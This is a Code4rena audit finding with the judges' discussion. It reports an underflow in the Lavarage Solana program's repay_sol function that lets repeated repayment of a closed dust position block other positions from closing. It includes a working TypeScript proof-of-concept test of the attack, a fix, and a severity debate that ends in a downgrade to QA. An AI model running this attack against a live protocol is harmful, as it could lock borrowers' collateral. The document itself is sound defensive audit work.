The last position/s from a given pool can be permanently prevented from being closed, by repaying an arbitrary position more than once

[c4-bot-9]

Lines of code

https://github.com/code-423n4/2024-04-lavarage/blob/9e8295b542fb71b2ba9b4693e25619585266d19e/libs/smart-contracts/programs/lavarage/src/processor/swapback.rs#L197

Vulnerability details

Impact

The last positions from a given pool will become permanently non-closable, preventing borrowers from claiming back their collateral and repaying their loans, leading to financial losses for them (since all positions are over-collateralized by default)

Proof of Concept

The current implementation of the repay_sol function allows it to be called an infinite number of times for positions that have already been closed. However, if we take a look at the following snippet from the function:

    ctx.accounts.node_wallet.total_funds += repay_amount - interest_share;
    ctx.accounts.node_wallet.total_borrowed -= borrowed_amount;

We can see that the total_borrowed value of the node wallet of the trading pool of the position is being decreased by borrowed_amount on each call to it. What this means is that in the event where the function was to be called more than once for any position, no matter how big or small it is, it will lead to the function always reverting for the last position/s of the given trading pool, as the subtraction from total_borrowed will always revert due to an arithmetic underflow. This can easily be abused by opening dust-amount positions and then calling repay_sol multiple times for them.

The following coded PoC demonstrates the issue at question. To run it, paste it after the Should set maxBorrow test in the lavarage describe block in the lavarage.spec.ts test file and then run anchor test in libs/smart-contracts. The tests inside lavarage.spec.ts are stateful, so the order in which they are executed does matter.

it('Should DoS the closing of the last position from a given pool', async () => {
    const fundAmount = 5000000000;
    await program.methods
      .lpOperatorFundNodeWallet(new anchor.BN(fundAmount))
      .accounts({
        nodeWallet: nodeWallet.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        funder: program.provider.publicKey,
      })
      .rpc();

    const tradingPool = getPDA(program.programId, [
      Buffer.from('trading_pool'),
      provider.publicKey.toBuffer(),
      tokenMint.toBuffer(),
    ]);

    const randomAccountSeed1 = Keypair.generate();
    const positionAccount1 = getPDA(program.programId, [
      Buffer.from('position'),
      provider.publicKey?.toBuffer(),
      tradingPool.toBuffer(),
      randomAccountSeed1.publicKey.toBuffer(),
    ]);
    const positionATA1 = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      anotherPerson,
      tokenMint,
      positionAccount1,
      true,
    );

    // creating the first position that is about to be DoSed
    const borrowIx1 = await program.methods
      .tradingOpenBorrow(new anchor.BN(5000), new anchor.BN(1000))
      .accountsStrict({
        positionAccount: positionAccount1,
        trader: provider.publicKey,
        tradingPool,
        nodeWallet: nodeWallet.publicKey,
        randomAccountAsId: randomAccountSeed1.publicKey,
        feeReceipient: anotherPerson.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        clock: anchor.web3.SYSVAR_CLOCK_PUBKEY,
        instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
      })
      .instruction();
    const transferIx1 = createTransferCheckedInstruction(
      userTokenAccount.address,
      tokenMint,
      positionATA1.address,
      provider.publicKey,
      100000000000,
      9,
    );
    const addCollateralIx1 = await program.methods
      .tradingOpenAddCollateral()
      .accountsStrict({
        positionAccount: positionAccount1,
        tradingPool,
        systemProgram: anchor.web3.SystemProgram.programId,
        trader: provider.publicKey,
        randomAccountAsId: randomAccountSeed1.publicKey,
        mint: tokenMint,
        toTokenAccount: positionATA1.address,
      })
      .instruction();
    const tx1 = new Transaction()
      .add(borrowIx1)
      .add(transferIx1)
      .add(addCollateralIx1);
    await provider.sendAll([{ tx: tx1 }]);

    const randomAccountSeed2 = Keypair.generate();
    const positionAccount2 = getPDA(program.programId, [
      Buffer.from('position'),
      provider.publicKey?.toBuffer(),
      tradingPool.toBuffer(),
      randomAccountSeed2.publicKey.toBuffer(),
    ]);
    const positionATA2 = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      anotherPerson,
      tokenMint,
      positionAccount2,
      true,
    );

    // creating the first position that borrows dust amount and will be repaid more than once
    const borrowIx2 = await program.methods
      .tradingOpenBorrow(new anchor.BN(5), new anchor.BN(4))
      .accountsStrict({
        positionAccount: positionAccount2,
        trader: provider.publicKey,
        tradingPool,
        nodeWallet: nodeWallet.publicKey,
        randomAccountAsId: randomAccountSeed2.publicKey,
        feeReceipient: anotherPerson.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        clock: anchor.web3.SYSVAR_CLOCK_PUBKEY,
        instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
      })
      .instruction();
    const transferIx2 = createTransferCheckedInstruction(
      userTokenAccount.address,
      tokenMint,
      positionATA2.address,
      provider.publicKey,
      100000000000,
      9,
    );
    const addCollateralIx2 = await program.methods
      .tradingOpenAddCollateral()
      .accountsStrict({
        positionAccount: positionAccount2,
        tradingPool,
        systemProgram: anchor.web3.SystemProgram.programId,
        trader: provider.publicKey,
        randomAccountAsId: randomAccountSeed2.publicKey,
        mint: tokenMint,
        toTokenAccount: positionATA2.address,
      })
      .instruction();
    const tx2 = new Transaction()
      .add(borrowIx2)
      .add(transferIx2)
      .add(addCollateralIx2);
    await provider.sendAll([{ tx: tx2 }]);

    // closing the second dust position twice
    const receiveCollateralIxPos2 = await program.methods
      .tradingCloseBorrowCollateral()
      .accountsStrict({
        positionAccount: positionAccount2,
        trader: provider.publicKey,
        tradingPool,
        instructions: SYSVAR_INSTRUCTIONS_PUBKEY,
        systemProgram: anchor.web3.SystemProgram.programId,
        clock: SYSVAR_CLOCK_PUBKEY,
        randomAccountAsId: randomAccountSeed2.publicKey,
        mint: tokenMint,
        toTokenAccount: userTokenAccount.address,
        fromTokenAccount: positionATA2.address,
        tokenProgram: TOKEN_PROGRAM_ID,
      })
      .instruction();
    const repaySOLIxPos2 = await program.methods
      .tradingCloseRepaySol(new anchor.BN(0), new anchor.BN(9997))
      .accountsStrict({
        positionAccount: positionAccount2,
        trader: provider.publicKey,
        tradingPool,
        nodeWallet: nodeWallet.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        clock: SYSVAR_CLOCK_PUBKEY,
        randomAccountAsId: randomAccountSeed2.publicKey,
        feeReceipient: provider.publicKey,
      })
      .instruction();
    // executing the repay ix twice
    const tx3 = new Transaction()
      .add(receiveCollateralIxPos2)
      .add(repaySOLIxPos2)
      .add(repaySOLIxPos2);
    await provider.sendAll([{ tx: tx3 }]);

    // attempting to close the first position
    const receiveCollateralIxPos1 = await program.methods
      .tradingCloseBorrowCollateral()
      .accountsStrict({
        positionAccount: positionAccount1,
        trader: provider.publicKey,
        tradingPool,
        instructions: SYSVAR_INSTRUCTIONS_PUBKEY,
        systemProgram: anchor.web3.SystemProgram.programId,
        clock: SYSVAR_CLOCK_PUBKEY,
        randomAccountAsId: randomAccountSeed1.publicKey,
        mint: tokenMint,
        toTokenAccount: userTokenAccount.address,
        fromTokenAccount: positionATA1.address,
        tokenProgram: TOKEN_PROGRAM_ID,
      })
      .instruction();
    const repaySOLIxPos1 = await program.methods
      .tradingCloseRepaySol(new anchor.BN(0), new anchor.BN(9997))
      .accountsStrict({
        positionAccount: positionAccount1,
        trader: provider.publicKey,
        tradingPool,
        nodeWallet: nodeWallet.publicKey,
        systemProgram: anchor.web3.SystemProgram.programId,
        clock: SYSVAR_CLOCK_PUBKEY,
        randomAccountAsId: randomAccountSeed1.publicKey,
        feeReceipient: provider.publicKey,
      })
      .instruction();
    const tx4 = new Transaction()
      .add(receiveCollateralIxPos1)
      .add(repaySOLIxPos1);
    try {
      await provider.sendAll([{ tx: tx4 }]);
    } catch (e) {
      expect(1).toBe(1); // we will get an error if the transaction reverts, which means that that the subtraction did indeed underflow
      return;
    } 
    expect(1).toBe(0); // if we don't get an error, this means that the transaction was not reverted
});

Tools Used

Manual review

Recommended Mitigation Steps

Use checked_sub for subtracting the borrowed_amount from the total_borrowed value, and default to 0 in the case of an underflow:

    ctx.accounts.node_wallet.total_funds += repay_amount - interest_share;
-   ctx.accounts.node_wallet.total_borrowed -= borrowed_amount;
+   ctx.accounts.node_wallet.total_borrowed = ctx.accounts.node_wallet.total_borrowed.checked_sub(borrowed_amount).unwrap_or(0);

Assessed type

Under/Overflow

[c4-sponsor]

piske-alex (sponsor) confirmed

[c4-judge]

alcueca marked the issue as satisfactory

[c4-judge]

alcueca marked the issue as selected for report

[DadeKuma]

This issue is invalid. When the program is deployed in production it will use the release flag: arithmetics underflow/overflow only in debug mode, that's why the test works in this PoC.

Run it again with --release and you will see that the program will not panic, and an underflow will actually occur. Even if it underflows, this hasn't any impact as total_borrowed isn't used anywhere, and it's not possible to DoS the position.

Here are the docs, please re-check.

[Arabadzhiew]

If the overflow-checks flag is set to true, then arithmetic under/overflows will also revert in release mode (you can read more about that here). This issue also seems to share the same root cause as #30, its just that their described impacts are different.

[DadeKuma]

@Arabadzhiew you are right, my bad. But doesn't that mean that #30 and other similar issues that assume a successful underflow/overflow that won't panic are not valid? As it will behave like you described here

[Arabadzhiew]

@DadeKuma Given that overflow-checks is set to true in the Cargo.toml file, you are right, the impact described in this issue is the only valid one.

However, I am not sure how the rest of the issues should be judged, as they still reference the same root cause, although their described impacts are wrong. I'll leave that up to @alcueca to decide.

[koolexcrypto]

As @Arabadzhiew said, when overflow-checks is set to true, panic will be the behaviour. However, here are reasons why I reported the other issue #30

• Cargo.toml is not in scope. Therefore, any configuration that effects the program shouldn’t be considered. It's not a common practice to enable overflow-checks anyway. This is similar to this issue phala-network#65 (from a different Rust contest) that I reported but was considered out of scope eventually, since the bug exited in Cargo.lock which was out of scope.

• I believe overflow-checks isn't set intentional, because in the code, checked functions are used (e.g. checked_mul and checked_div). If overflow-checks is set to true, why would you use checked functions?

CC: @alcueca

[Arabadzhiew]

@koolexcrypto So we shouldn't take the protocol configuration into account during contests? That doesn't make much sense to me, but well, if the rules say so, then so be it.

I believe overflow-checks isn't set intentional, because in the code, checked functions are used (e.g. checked_mul and checked_div). If overflow-checks is set to true, why would you use checked functions?

There are also calls to checked_sub on swapback.rs#L150 which do default to 0 in the case of an underflow. How should we interpret those? IMO, they are clearly showing the intent of the protocol team to use the overflow checks provided by Rust in their production deployment. Also, for the calls to checked_mul and checked_div, an argument can be made that they are simply used for having custom error messages in the event where the overflow checks are enabled.

[DadeKuma]

@koolexcrypto

Therefore, any configuration that effects the program shouldn’t be considered

I think this contradicts what you are saying in #15. But if this is true, that means #15 is valid no matter the version of SPL used, as we can assume that they can use a version without safety checks (and also in that case the sponsor added some safety checks in one part of the code, but others were missing)

[alcueca]

To be consistent, I'm going to state that cargo.toml is out of scope, and that the program will underflow without reverting. total_borrows will have an incorrect value, that as judged elsewhere, it has no impact on the protocol and makes the severity QA.

A recommendation for future Solana/Rust contests is to include configuration files in the scope, and be clear about the release configuration.

[c4-judge]

alcueca changed the severity to QA (Quality Assurance)

[c4-judge]

alcueca marked the issue as grade-a

[c4-judge]

alcueca marked the issue as not selected for report